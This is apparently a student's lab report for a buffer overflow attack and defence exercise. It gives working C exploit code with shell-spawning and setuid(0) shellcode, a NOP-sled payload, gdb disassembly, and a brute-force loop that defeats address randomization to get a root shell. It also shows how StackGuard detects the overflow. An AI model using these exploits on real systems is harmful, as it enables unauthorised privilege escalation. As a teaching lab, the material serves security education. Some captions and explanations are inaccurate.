Homework 2:

Buffer Overflow Vulnerability Attack and Defense Lab

Problem 1:

Code Snippet:

```
char shellcode[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


void main( int argc, char **argv )
{
        char buffer[ 517 ];
        FILE *badfile;
        long addr = 0xbffff34c;
        long *ptr = ( long * )buffer;
        int i;

        memset( &buffer, 0x90, 517 );

        strcpy( buffer + 64, shellcode );

        for( i = 0; i < 64; i+=4 )
                *(ptr++) = addr;

        buffer[ 516 ] = '\0';


        badfile = fopen( "./badfile", "w" );
        fwrite( buffer, 517, 1, badfile );
        fclose( badfile );
}
```

Figure 1 exploit.c

Since the size of shellcode is 25 bytes (>12 bytes), I determined to copy the whole shellcode to buffer[] from buffer[64] to buffer[88] using “strcpy(buffer + 64, shellcode);”

After compiling stack.c, I ran “gdb stack” and “disassemble main” to check the return address.

```
(gdb) disassemble
No frame selected.
(gdb) quit
seed@seed-desktop:~/Desktop$ gdb stack
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048493 <main+0>:    lea    0x4(%esp),%ecx
0x08048497 <main+4>:    and    $0xfffffff0,%esp
0x0804849a <main+7>:    pushl  -0x4(%ecx)
0x0804849d <main+10>:   push   %ebp
0x0804849e <main+11>:   mov    %esp,%ebp
0x080484a0 <main+13>:   push   %ecx
0x080484a1 <main+14>:   sub    $0x224,%esp
0x080484a7 <main+20>:   movl   $0x80485d0,0x4(%esp)
0x080484af <main+28>:   movl   $0x80485d2,(%esp)
0x080484b6 <main+35>:   call   0x804837c <fopen@plt>
0x080484bb <main+40>:   mov    %eax,-0x8(%ebp)
0x080484be <main+43>:   mov    -0x8(%ebp),%eax
0x080484c1 <main+46>:   mov    %eax,0xc(%esp)
0x080484c5 <main+50>:   movl   $0x205,0x8(%esp)
0x080484cd <main+58>:   movl   $0x1,0x4(%esp)
0x080484d5 <main+66>:   lea    -0x20d(%ebp),%eax
0x080484db <main+72>:   mov    %eax,(%esp)
0x080484de <main+75>:   call   0x80483ac <fread@plt>
0x080484e3 <main+80>:   lea    -0x20d(%ebp),%eax
0x080484e9 <main+86>:   mov    %eax,(%esp)
0x080484ec <main+89>:   call   0x8048474 <bof>
0x080484f1 <main+94>:   movl   $0x80485da,(%esp)
```

Figure 2 gdb of stack

It is easy to find out the return address of “bof(str)” is 0x080484f1(4 bytes).

```
bottom of                                                    top of
memory                                                       memory
                  buffer            sfp   ret   *str
<------          [               ][    ][    ][    ]


top of                                                    bottom of
stack                                                        stack
```

Figure 3 stack frame structure

In fact, I tried and successfully found out the relative location of “ret” to buffer by running the following code in stack again and again.

```
long *ret;
ret = (long *)( buffer + x );
printf( "return address is %p\n", *ret );
```

Figure 4 return address

The value of x starts from 12. Each time I added it by one. It turned out when x equals to 20, *ret equals to 0x080484f1. This means the offset between the start address of buffer and ret is 20 bytes.

But in my program, I applied another method by filling up the first 64 bytes of buffer with the absolute address 0xbffff34c. This address is obtained by running the following code in stack.c:

```
printf( "buffer[64]: %p\n", buffer+64 );
```

Figure 5 start address of shellcode

Therefore, in exploit.c, after bof finishes, the process will jump to this address, which is the start address of shellcode and begin to execute the shellcode.

```
seed@seed-desktop:~/Desktop/HW2$ su root
Password:
root@seed-desktop:/home/seed/Desktop/HW2# gcc exploit.c -o exploit
exploit.c: In function ‘main’:
exploit.c:20: warning: return type of ‘main’ is not ‘int’
root@seed-desktop:/home/seed/Desktop/HW2# gcc -fno-stack-protector stack.c -o stack
stack.c: In function ‘bof’:
stack.c:11: warning: assignment from incompatible pointer type
stack.c:13: warning: assignment makes integer from pointer without a cast
root@seed-desktop:/home/seed/Desktop/HW2# chmod 4755 stack
root@seed-desktop:/home/seed/Desktop/HW2# exit
exit
seed@seed-desktop:~/Desktop/HW2$ ./exploit
seed@seed-desktop:~/Desktop/HW2$ ./stack
# 
```

Figure 6 Result: get the root shell

Problem 2:

(a) After executing the following instructions, we let “/bin/sh” point back to another shell “/bin/bash”, which contains “sh” and more powerful.

```
$ su root
  Password: (enter root password)
# cd /bin
# rm sh
# ln -s bash sh    // link /bin/sh to /bin/bash
# exit
$./stack           // launch the attack by running the vulnerable program
```

Figure 7 link bash to sh

Then I ran my code in problem 1 again.

Observation: Although I still get a shell, it is not a root shell any more. The result is as follows,

```
seed@seed-desktop:~/Desktop/HW2$ gcc exploit.c -o exploit
exploit.c: In function ‘main’:
exploit.c:21: warning: return type of ‘main’ is not ‘int’
seed@seed-desktop:~/Desktop/HW2$ ./exploit
seed@seed-desktop:~/Desktop/HW2$ gcc -fno-stack-protector stack.c -o stack
stack.c: In function ‘bof’:
stack.c:11: warning: assignment from incompatible pointer type
stack.c:13: warning: assignment makes integer from pointer without a cast
seed@seed-desktop:~/Desktop/HW2$ ./stack
sh-3.2$
```

Figure 8 result after linking bash to sh

Explanation:

```
seed@seed-desktop:~/Desktop/HW2$ id
uid=1000(seed) gid=1000(seed) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(se
ed)
```

Figure 9 uid and euid

When I ran my code, the uid of the process is 1000(seed). In my opinion, OS has a protection mechanism. When a program attempts to call a shell, OS will firstly check the uid of the process. If it is not root(0), a normal users shell will be returned.

(b) Code Snippet:

```
char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


void main( int argc, char **argv )
{
        char buffer[ 517 ];
        FILE *badfile;
        long addr = 0xbffff34c;
        long *ptr = ( long * )buffer;
        int i;

        memset( &buffer, 0x90, 517 );

        strcpy( buffer + 400, shellcode );

        for( i = 44; i < 64; i+=4 )
                *(ptr++) = addr;

        buffer[ 516 ] = '\0';


        badfile = fopen( "./badfile", "w" );
        fwrite( buffer, 517, 1, badfile );
        fclose( badfile );
}
```

Figure 10 setuid(0)

To get around this protection scheme, I need to insert the line “setuid(0);” before invoking “/bin/bash”. By applying asm function, I got the hex representation of “setuid(0)”.

```
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
```

Figure 11 hex format of setuid(0)

Then I insert it to the head of shellcode.

To make “setuid(0)” work, another task is to call “chmod 4755 stack”. The purpose of this sentence is to set the Set-UID bit of my executable file “stack”, just as the following figure shows,

```
seed@seed-desktop:~/Desktop/HW2$ su root
Password:
root@seed-desktop:/home/seed/Desktop/HW2# gcc -fno-stack-protector stack.c -o stack
stack.c: In function ‘bof’:
stack.c:11: warning: assignment from incompatible pointer type
stack.c:13: warning: assignment makes integer from pointer without a cast
root@seed-desktop:/home/seed/Desktop/HW2# ls -l stack
-rwxr-xr-x 1 root root 9281 2013-02-09 23:01 stack
root@seed-desktop:/home/seed/Desktop/HW2# chmod 4755 stack
root@seed-desktop:/home/seed/Desktop/HW2# ls -l stack
-rwsr-xr-x 1 root root 9281 2013-02-09 23:01 stack
root@seed-desktop:/home/seed/Desktop/HW2# exit
exit
seed@seed-desktop:~/Desktop/HW2$ ./stack
sh-3.2#
```

Figure 12 Get around the bash protection

It can be easily seen from the red frame the Set-UID bit is set to ‘s’ from ‘x’.
After this is done, the process uid will be successfully set to root(0).
When I run my program, I can successfully get around the protection scheme and get root shell.

Problem 3:

Code Snippet:

```
char shellcode[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

void main( int argc, char **argv )
{
        char buffer[ 517 ];
        FILE *badfile;
        long addr = 0xbffff34c;
        long *ptr = ( long * )buffer;
        int i;

        memset( &buffer, 0x90, 517 );

        strcpy( buffer + 400, shellcode );

        for( i = 44; i < 64; i+=4 )
                *(ptr++) = addr;

        buffer[ 516 ] = '\0';


        badfile = fopen( "./badfile", "w" );
        fwrite( buffer, 517, 1, badfile );
        fclose( badfile );
}
```

Figure 13 Address Randomization Code

Address space layout randomization (ASLR) is a computer security method which involves randomly arranging the positions of key data areas, usually including the base of the executable and position of libraries, heap, and stack, in a process's address space.
I turned on the address randomization protection scheme by typing in the following instructions,

```
$ su root
  Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
```

Figure 14 Turn off address randomization

When I ran my code again, I could not get a shell and got segmentation fault. This is because every time bof is called, the new stack frame is arranged at a random address. 0xbffff34c is not where our shellcode is stored any more. Therefore, we get segmentation fault. When I ran my code in a loop as follows,

```
$ sh -c "while [ 1 ]; do ./stack; done;"
```

Figure 15 run stack in a loop

After a few seconds, I successfully got the root shell. To reduce the waiting time, I modify my code to be that in the red frame in Figure 13. Even though the stack frame is arranged randomly, as long as 0xbffff34c is in the buffer range, it will lead to the start address of our shellcode because the space between 0xbffff34c and shellcode is filled up with NOPs.

```
seed@seed-desktop:~$ cd Desktop
seed@seed-desktop:~/Desktop$ su root
Password:
root@seed-desktop:/home/seed/Desktop# /sbin/sysctl -w kernel.randomize_va_space=
2
kernel.randomize_va_space = 2
root@seed-desktop:/home/seed/Desktop# gcc -o stack -fno-stack-protector stack.c
root@seed-desktop:/home/seed/Desktop# chmod 4577 stack
root@seed-desktop:/home/seed/Desktop# exit
exit
seed@seed-desktop:~/Desktop$ gcc -o exploit exploit.c
exploit.c: In function ‘main’:
exploit.c:9: warning: return type of ‘main’ is not ‘int’
seed@seed-desktop:~/Desktop$ ./exploit
seed@seed-desktop:~/Desktop$ ./stack
Segmentation fault
seed@seed-desktop:~/Desktop$ sh -c "while [ 1 ]; do ./stack; done;"
^C
seed@seed-desktop:~/Desktop$ sh -c "while [ 1 ]; do ./stack; done;"
# exit
#
```

Figure 16 got root shell in address randomization

Problem 4:

After I enabled the “Stack Guard” protect mechanism in GCC when compiling “stack.c” and run my program again. I get the following message:

```
seed@seed-desktop:~/Desktop/HW2$ gcc exploit.c -o exploit
exploit.c: In function ‘main’:
exploit.c:21: warning: return type of ‘main’ is not ‘int’
seed@seed-desktop:~/Desktop/HW2$ gcc stack.c -o stack
stack.c: In function ‘bof’:
stack.c:11: warning: assignment from incompatible pointer type
stack.c:13: warning: assignment makes integer from pointer without a cast
seed@seed-desktop:~/Desktop/HW2$ ./exploit
seed@seed-desktop:~/Desktop/HW2$ ./stack
*** stack smashing detected ***: ./stack terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb8011da8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb8011d60]
./stack[0x8048529]
[0xbfaa1dc6]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 8900       /home/seed/Desktop/HW2/stack
08049000-0804a000 r--p 00000000 08:01 8900       /home/seed/Desktop/HW2/stack
0804a000-0804b000 rw-p 00001000 08:01 8900       /home/seed/Desktop/HW2/stack
09bbb000-09bdc000 rw-p 09bbb000 00:00 0          [heap]
b7ef7000-b7f04000 r-xp 00000000 08:01 278049     /lib/libgcc_s.so.1
b7f04000-b7f05000 r--p 0000c000 08:01 278049     /lib/libgcc_s.so.1
b7f05000-b7f06000 rw-p 0000d000 08:01 278049     /lib/libgcc_s.so.1
b7f13000-b7f14000 rw-p b7f13000 00:00 0
b7f14000-b8070000 r-xp 00000000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b8070000-b8071000 ---p 0015c000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b8071000-b8073000 r--p 0015c000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b8073000-b8074000 rw-p 0015e000 08:01 295506     /lib/tls/i686/cmov/libc-2.9.so
b8074000-b8077000 rw-p b8074000 00:00 0
b8083000-b8086000 rw-p b8083000 00:00 0
b8086000-b8087000 r-xp b8086000 00:00 0          [vdso]
b8087000-b80a3000 r-xp 00000000 08:01 278007     /lib/ld-2.9.so
b80a3000-b80a4000 r--p 0001b000 08:01 278007     /lib/ld-2.9.so
b80a4000-b80a5000 rw-p 0001c000 08:01 278007     /lib/ld-2.9.so
bfa8f000-bfaa4000 rw-p bffeb000 00:00 0          [stack]
Aborted
```

Observation: Here we can find stack smashing is detected.

Explanation: StackGuard protection mechanism embeds “canaries” in stack frames and verifies their integrity prior to function returns. The “canary” is a random string chosen at the start of program so that attackers cannot guess the “canary” at all. Therefore, when buffer overflow occurs, the “canary” part will be overridden and unrecoverable. So stack smashing can be easily detected.